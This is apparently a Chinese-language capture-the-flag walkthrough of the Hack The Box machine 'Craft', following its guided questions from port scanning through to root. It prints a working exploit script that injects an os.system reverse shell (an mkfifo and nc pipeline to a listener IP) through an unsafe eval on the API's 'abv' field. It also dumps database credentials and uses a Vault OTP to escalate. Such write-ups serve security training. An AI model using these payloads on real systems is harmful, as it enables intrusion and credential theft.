首先是连接上机器之后,进行一个端口扫描
┌──(root㉿zss)-[/home/zss]
└─# masscan -e tun0 -p1-65535,U:1-65535 10.10.10.110 --rate=700
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2025-03-14 13:31:55 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 443/tcp on 10.10.10.110
Discovered open port 22/tcp on 10.10.10.110
Discovered open port 6022/tcp on 10.10.10.110
:::success
Q1: How many open TCP ports are listening on Craft? Craft 上有多少个开放的 TCP 端口正在监听?
:::
3 个 tcp 端口开放
:::success
Q2:What domain name is listed as the common name in the TLS certificate on TCP port 443? 什么域名被列在 TCP 端口 443 上 TLS 证书的通用名称中?
:::
由于是 443 端口我们访问访问 https://10.10.10.110,结果如下
craft.htb
还有一个 api 网站,但是我们访问不出来资源,存在域名的话,我们修改 DNS 配置
修改 /etc/hosts
:::success
**Q3:What online git application is linked to from the main website?
**什么在线 Git 应用程序是从主网站链接的?
:::
访问获得 是基于 Gogs 的
GitHub - gogs/gogs: Gogs is a painless self-hosted Git service
gogs 之前听说过,就是一个自助 Git 服务
:::success
**Q4:Besides gogs.craft.htb, what other subdomain of craft.htb is linked to from the main site?
**除了 gogs.craft.htb,还有哪些 craft.htb 的子域名从主站链接过来?
:::
这个之前说过** api.craft.htb**
:::success
**What is the dinesh user's password for the API?
**什么是 dinesh 用户的 API 密码?
:::
我们可以翻这个仓库查找一些信息,他之前的测试记录里面存在一个密码,内容如下
import requests
import json
-response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
+response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
:::success
**What is the full URL of the endpoint on the API where username and password can be sent to get a token?
**API 端点上可以发送用户名和密码以获取令牌的完整 URL 是什么?
:::
这个我们访问 api 文档可以得知
[https://api.craft.htb/api/auth/login](https://api.craft.htb/api/auth/login)
:::success
**What HTTP POST parameter is passed to an unsafe Python eval
call?
**什么 HTTP POST 参数传递给不安全的 Python **eval**
调用
:::
就是这个 abv 参数
正好我们可以利用,同时 test 里面存在一个模板
#!/usr/bin/env python
import requests
import json
response = requests.get('https://api.craft.htb/api/auth/login', auth=('', ''), verify=False)
json_response = json.loads(response.text)
token = json_response['token']
headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }
# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)
# create a sample brew with bogus ABV... should fail.
print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)
# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'
json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
利用/brew/api 反弹 Shell
#!/usr/bin/env python
import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = requests.get("https://api.craft.htb/api/auth/login", auth=("dinesh", "4aUh0A8PbVJxgd"), verify=False)
json_response = json.loads(response.text)
token = json_response["token"]
headers = { "X-Craft-API-Token": token, "Content-Type": "application/json" }
response = requests.get("https://api.craft.htb/api/auth/check", headers=headers, verify=False)
brew_dict = {}
brew_dict["abv"] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.9 9999 >/tmp/f')"
brew_dict["name"] = "bullshit"
brew_dict["brewer"] = "bullshit"
brew_dict["style"] = "bullshit"
json_data = json.dumps(brew_dict)
response = requests.post("https://api.craft.htb/api/brew/", headers=headers, data=json_data, verify=False)
:::success
**What user is the api running as?
**该 API 以哪个用户身份运行?
:::
监听然后反弹
可以提升至半交互状态
python -c 'import pty;pty.spawn("/bin/sh")'
:::success
**What is the MySQL password for the craft user?
**什么是 craft 用户的 MySQL 密码?
:::
查找 settings.py
文件
/opt/app/craft_api # nl settings.py
1 # Flask settings
2 FLASK_SERVER_NAME = 'api.craft.htb'
3 FLASK_DEBUG = False # Do not use debug mode in production
4 # Flask-Restplus settings
5 RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
6 RESTPLUS_VALIDATE = True
7 RESTPLUS_MASK_SWAGGER = False
8 RESTPLUS_ERROR_404_HELP = False
9 CRAFT_API_SECRET = 'hz66OCkDtv8G6D'
10 # database
11 MYSQL_DATABASE_USER = 'craft'
12 MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
13 MYSQL_DATABASE_DB = 'craft'
14 MYSQL_DATABASE_HOST = 'db'
15 SQLALCHEMY_TRACK_MODIFICATIONS = False
python3 -c 'import pty; pty.spawn("/bin/bash")'
得到密码,
我们需要连上 Mysql,或者说在环境中执行带出来信息
修改
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
cursor.execute(sql)
result = cursor.fetchone()
print(result)
finally:
connection.close()
为
#!/usr/bin/env python
import pymysql
from craft_api import settings
# test connection to mysql database
connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
user=settings.MYSQL_DATABASE_USER,
password=settings.MYSQL_DATABASE_PASSWORD,
db=settings.MYSQL_DATABASE_DB,
cursorclass=pymysql.cursors.DictCursor)
try:
with connection.cursor() as cursor:
sql = "SELECT * FROM `user`"
cursor.execute(sql)
result = cursor.fetchall()
print(result)
finally:
connection.close()
- ...
- 利用 msf
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
我们可以登录上 gogs
我们寻找 ssh 登录的凭证就行.ssh,下载下来
连接上 ssh,密码是我们刚才找的的
连接上 ssh
:::success
**Submit the flag located in the gilfoyle user's home directory.
**提交位于 gilfoyle 用户家目录中的标志。
:::
执行命令获取 flag
gilfoyle@craft:~$ cat user.txt
bc266d22d12f8d02a4693b942a68caec
我们想要获取 /root/root.txt
但是权限不够,所以
我们需要再 gogs 找到一些办法
这里有姐扫 vault 的文章
这个就是用的 root 用户,利用 vault
vault write ssh/creds/root_otp ip=10.10.10.110
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=10.10.10.110
Key Value
--- -----
lease_id ssh/creds/root_otp/c1da325e-314b-e0b7-bf48-4de70c3fc5f7
lease_duration 768h
lease_renewable false
ip 10.10.10.110
key fcc5df84-b6a8-2d1c-89ac-bbd91ae30566
key_type otp
port 22
username root
得到 key 之后我们连上 root
最后得到 flag,本题结束